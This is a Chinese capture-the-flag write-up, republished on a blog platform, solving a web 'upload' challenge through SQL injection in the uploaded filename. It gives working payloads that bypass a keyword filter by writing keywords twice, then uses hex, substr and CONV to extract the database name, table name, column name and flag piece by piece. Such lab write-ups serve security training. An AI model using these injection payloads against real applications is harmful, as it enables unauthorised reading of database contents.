前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >攻防世界web进阶区upload详解

攻防世界web进阶区upload详解

作者头像
wuming
发布2021-01-21 15:58:11
1.1K0
发布2021-01-21 15:58:11
举报
文章被收录于专栏:wuming_CTF
  1. 1. 题目
    1. 1.0.1. ②CONV(N,from_base,to_base)
    2. 1.0.2. ③substr(string,start,length)

题目

在这里插入图片描述
在这里插入图片描述

进入页面是我们的注册 登录以后,发现可以文件上传

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

传完之后发现有回显,猜测可能是文件名注入 我们先进行一系列得上传测试,发现都不行

在这里插入图片描述
在这里插入图片描述

这时候,御剑发来了好消息, 这儿有一个include,classes的文件

在这里插入图片描述
在这里插入图片描述

我们使用burp康康有哪些过滤

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

发现被制为了空,我们猜一猜是双写绕过

下面解除文件名字注入

1.把文件名改成 a' +(selselectect conv(substr(hex(database()),1,12),16,10))+ '.jpg ① 这里使用substr的原因是当数字过长的时候会变成科学计数法,所以需要分批次来获取内容 ②使用CONV是因为题目过滤了回显有字母的情况,如果出现了字母则后面的内容就不显示,所以需要将16进制的内容转成10进制 或者我们可以使用两次hex绕过也可以

这时候返回了我们的值

在这里插入图片描述
在这里插入图片描述

我们先16进制转换为10进制,然后再转回去

在这里插入图片描述
在这里插入图片描述

数据库叫web_up

很明显有点少,我们把范围往后扩大一下 a' +(selselectect conv(substr(hex(database()),12,15),16,10))+ '.jpg

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

2- 然后我们查询表名

a'+(seleselectct+CONV(substr(hex((selselectect TABLE_NAME frfromom information_schema.TABLES where TABLE_SCHEMA = 'web_upload' limit 1,1)),1,12),16,10))+'.jpg a'+(seleselectct+CONV(substr(hex((selselectect TABLE_NAME frfromom information_schema.TABLES where TABLE_SCHEMA = 'web_upload' limit 1,1)),13,12),16,10))+'.jpg a'+(seleselectct+CONV(substr(hex((selselectect TABLE_NAME frfromom information_schema.TABLES where TABLE_SCHEMA = 'web_upload' limit 1,1)),25,12),16,10))+'.jpg 十进制: 114784820031327 112615676665705 126853610566245

在这里插入图片描述
在这里插入图片描述

字符拼接完成 如下转自 https://blog.csdn.net/Sacrifice_li/article/details/106714709

3.然后是列名:(i_am_flag)

①s ‘+(seleselectct+CONV(substr(hex((seselectlect COLUMN_NAME frfromom information_schema.COLUMNS where TABLE_NAME = ‘hello_flag_is_here’ limit 0,1)),1,12),16,10))+’.jpg————->结果为 i_am_f

②s ‘+(seleselectct+CONV(substr(hex((seselectlect COLUMN_NAME frfromom information_schema.COLUMNS where TABLE_NAME = ‘hello_flag_is_here’ limit 0,1)),13,12),16,10))+’.jpg———–>结果为 lag

4.字段内容:(!!_@m_Th.e_F!lag)

①s ‘+(seleselectct+CONV(substr(hex((selselectect i_am_flag frfromom hello_flag_is_here limit 0,1)),1,12),16,10))+’.jpg ——->结果为: !!@m

②s ‘+(seleselectct+CONV(substr(hex((selselectect i_am_flag frfromom hello_flag_is_here limit 0,1)),13,12),16,10))+’.jpg ——->结果为: Th.e_F

③s ‘+(seleselectct+CONV(substr(hex((selselectect i_am_flag frfromom hello_flag_is_here limit 0,1)),25,12),16,10))+’.jpg ——->结果为: !lag

②CONV(N,from_base,to_base)

函数,是指将N以from_base为底的基数,转成to_base的数,例如CONV(5,10,2),意思就是把10进制的5转成2进制

③substr(string,start,length)

—>string指的是字符串,start是从什么位置开始,length是长度,返回内容为截取的字符串

在本题中,由于内容太长而导致会变成科学计数法,所以需要用截取,同时配合CONV来使用以至于不会被回显拦截。

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2020-08-13,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 题目
    • ②CONV(N,from_base,to_base)
      • ③substr(string,start,length)
      领券
      问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档